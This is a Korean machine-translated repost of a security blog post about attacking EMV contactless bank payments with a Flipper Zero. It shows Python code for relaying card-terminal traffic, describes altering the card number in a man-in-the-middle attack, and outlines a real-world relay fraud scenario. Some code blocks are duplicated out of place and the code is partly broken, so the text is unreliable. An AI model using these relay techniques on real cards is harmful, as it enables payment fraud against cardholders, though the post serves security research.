이전 게시물에서 Flipper가 NFC 비접촉식 카드 리더기와 NFC 카드 에뮬레이터로 어떻게 작동할 수 있는지 살펴봤습니다. 이 두 기능을 결합하면 카드 리더 거래에 대한 다양한 잠재적인 공격 시나리오가 드러납니다.
이번 포스팅에서는 이 세 가지 질문에 대해 자세히 다루겠습니다.
위 다이어그램(여기서 더 높은 품질로 사용 가능)은 앞에서 설명한 다양한 공격을 테스트하기 위해 설정하려는 설정을 보여줍니다.
이전에는 모든 데이터 처리 로직을 Flipper 외부에서 실행되는 Python 스크립트로 오프로드했습니다. 이 접근 방식을 사용하면 변경 사항이 있을 때마다 새 펌웨어를 업데이트하거나 업로드할 필요가 없습니다. 그러나 질문이 생깁니다. 이 Python 프록시가 통신을 방해하고 실패를 초래할 수 있는 대기 시간을 도입합니까?
이 질문에 답하기 전에 이 구성을 설정하는 데 사용할 Python 스크립트를 살펴보겠습니다.
이전 블로그 게시물에서는 이 설정의 두 가지 주요 구성 요소를 다루었습니다.
이제 두 가지를 연결하기만 하면 됩니다. 정확히 무슨 얘기를 하고 있는 걸까요?
독자에 대한 이러한 요구 사항으로 인해 아래에 설명된 추상 Reader 클래스가 생성되었습니다. 추가적으로 독자와의 관계를 구축하는 방법을 소개했습니다.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
다음으로 PC/SC 리더와 상호 작용하기 위해 아래에 미니멀한 PCSCReader 클래스를 만듭니다.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
이제 아래와 같이 Emu라고 하는 카드 에뮬레이터 구현으로 넘어갈 수 있습니다. 선택적 Reader 개체를 매개 변수로 허용합니다. 제공되면 독자와 연결됩니다.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
다음으로 독자에게 이벤트를 전달하는 세 가지 방법, 즉 필드 끄기, 필드 켜기, APDU 전송을 정의합니다.
# class Emu(Iso14443ASession): def field_off(self): print("field off") if self.reader: self.reader.field_off() def field_on(self): print("field on") if self.reader: self.reader.field_on() def process_apdu(self, apdu): if self.reader: return self.reader.process_apdu(apdu) else: self.process_function(apdu)
다음으로 TPDU 수준에서 카드 에뮬레이터 명령 통신을 관리하는 방법을 개선했습니다. 특히, 완전한 APDU 명령이 수신되면 process_apdu 메소드가 호출되어 이를 리더기로 전달하고 실제 카드에서 응답을 검색합니다.
# class Emu(Iso14443ASession): def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]: print("r block") if tpdu == "BA00BED9": rtpdu, crc = "BA00", True elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]: if len(self.iblock_resp_lst): rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True else: rtpdu = self.build_rblock(ack=True).hex() crc = True return rtpdu, crc def low_level_dispatcher(self): capdu = bytes() ats_sent = False iblock_resp_lst = [] while 1: r = fz.emu_get_cmd() rtpdu = None print(f"tpdu < {r}") if r == "off": self.field_off() elif r == "on": self.field_on() ats_sent = False else: tpdu = Tpdu(bytes.fromhex(r)) if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False): rtpdu, crc = "0A788082022063CBA3A0", True ats_sent = True elif tpdu.r: rtpdu, crc = self.rblock_process(tpdu) elif tpdu.s: print("s block") # Deselect if len(tpdu._inf_field) == 0: rtpdu, crc = "C2E0B4", False # Otherwise, it is a WTX elif tpdu.i: print("i block") capdu += tpdu.inf if tpdu.is_chaining() is False: rapdu = self.process_function(capdu) capdu = bytes() self.iblock_resp_lst = self.chaining_iblock(data=rapdu) rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True print(f">>> rtdpu {rtpdu}\n") fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
마지막으로 Flipper Zero에서 카드 에뮬레이션을 시작하는 데 사용되는 메서드를 구현합니다.
# class Emu(Iso14443ASession): def run(self): self.drv.start_emulation() print("...go!") self.low_level_dispatcher()
Python 스크립트가 준비되었습니다. 이제 테스트에 사용할 하드웨어 설정을 살펴보겠습니다.
다음은 공격 환경의 소규모 복제입니다. 왼쪽부터:
완벽합니다. 이제 공격을 수행하는 데 필요한 모든 구성 요소가 준비되었습니다! 싸우자!
먼저 스니핑을 시도할 수 있습니다. 즉, Flipper의 APDU 명령/응답이 수정 없이 카드로 전달됩니다.
이는 완벽하게 작동하고 안정적으로 유지되며, Python 코드가 중개자 역할을 하므로 눈에 띄는 영향이 없습니다! Python 프록시가 너무 많은 대기 시간을 추가하고 터미널이 카드가 너무 느리다고 징징대기 시작하면 이에 대한 해결책이 있습니다. (아직) 구현하지 못한 것:
아래는 로그 일부입니다.
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
사실 카드에는 고유한 AID가 있는 수백 가지의 다양한 애플리케이션이 설치되어 있을 수 있습니다. 터미널은 그것들을 하나씩 모두 시도하려고 시도하지 않습니다. 이것이 바로 비접촉식 뱅킹 영역에서 카드에서 사용 가능한 뱅킹 애플리케이션을 표시하도록 설계된 모든 카드에 특정 애플리케이션이 존재하는 이유입니다. AID는 325041592e5359532e4444463031이며 ASCII로 변환하면 2PAY.SYS.DDF01입니다.
나중에 통신에서 이 애플리케이션이 호출되는 것을 볼 수 있습니다(아래 그림 참조). 따라서 앞서 논의한 바와 같이 AID D2760000850101을 사용하는 애플리케이션의 이전 선택은 특이한 것으로 보입니다.
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
응답을 분석하면 MasterCard에 해당하는 AID A0000000041010이 포함된 애플리케이션이 있음을 나타내는 여러 세부정보를 확인할 수 있습니다.
따라서 휴대폰은 결국 이 애플리케이션을 선택하게 됩니다.
그런 다음 기본 계좌 번호(PAN)를 포함하여 카드에서 다양한 세부 정보를 검색합니다. 카드에 표시된 숫자가 단말기에 표시된 숫자와 일치하여 단순 스니핑에 의존하는 우리의 릴레이 공격이 성공했음을 확인시켜줍니다!
물론 Proxmark와 같은 도구를 사용하면 스니핑이 훨씬 간단해집니다. 하지만 복잡하게 만들 수 있는데 왜 단순하게 만드나요 ;) ?
이제 중간자 공격으로 넘어가겠습니다. 이는 우리가 커뮤니케이션을 듣기만 하는 것이 아니라 적극적으로 변경한다는 의미입니다. 흥미로운 사용 사례 중 하나는 카드 번호를 수정하는 것입니다(예: 5132를 6132로 변경).
이전 통신의 로그를 다시 참조하면 이러한 데이터가 일반 텍스트로 전송되는 것을 확인할 수 있습니다. 00B2010C00 및 00B2011400과 같은 READ RECORD 명령을 사용하여 카드에서 검색됩니다.
데이터가 암호화되지 않고 무결성 보호가 부족하므로 원하는 대로 수정할 수 있습니다. 이를 구현하려면 간단히 PCSCReader 클래스의 process_apdu 메소드를 업데이트하여 변경 사항을 처리하면 됩니다.
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
그리고 아래 이미지처럼 애플리케이션은 수정사항을 전혀 인식하지 못합니다!
왜 작동하나요? 대답은 다양한 통신 계층을 설명하는 아래 이미지에 있습니다.
즐거운 시간도 보낼 수 있겠네요... 급하게 수정하다보니 가끔씩 데이터를 무작위로 수정하기도 했는데요. 어떤 경우에는 아래 이미지에 표시된 것처럼 카드 번호가 16자리로 제한되어야 함에도 불구하고 애플리케이션에서 카드 번호에 대해 많은 문자 블록을 표시하게 되었습니다!
이것은 퍼징 실험에 대한 몇 가지 흥미로운 가능성을 열어줍니다.
이 블로그 게시물 시작 부분에서 언급했듯이 릴레이 공격은 두 당사자(예: NFC 카드 및 단말기) 간의 통신을 가로채서 변경하지 않고 중계하여 단말기가 합법적인 카드와 통신하고 있다고 믿도록 속이는 것입니다. 실시간으로 카드를 확인하세요.
해커가 터미널에서 결제를 하려고 합니다. 피해자 근처에 있는 공범에게 단말기의 통신을 전달하고, 공범은 자신도 모르게 피해자의 카드로 통신을 합니다.
이전 실험에서는 차고와 같이 통제된 환경에서 이 공격이 가능하다는 것을 보여주었습니다. 그러나 실제 시나리오에서는 고려해야 할 추가 과제가 있습니다.
릴레이 공격에 대한 주요 대책 중 하나는 릴레이로 인해 눈에 띄는 지연이 발생하므로 통신 타이밍을 측정하는 것입니다. 그러나 이전 EMV 프로토콜에는 이러한 타이밍 확인을 용이하게 하는 명령이 포함되어 있지 않습니다.
이 블로그 게시물이 끝났습니다. 내용이 즐거웠기를 바랍니다! Python 코드와 수정된 Flipper Zero 펌웨어는 내 GitHub에서 사용할 수 있습니다.
https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware
위 내용은 Flipper Zero NFC 해킹 - EMV 뱅킹, 중간자 및 릴레이 공격의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!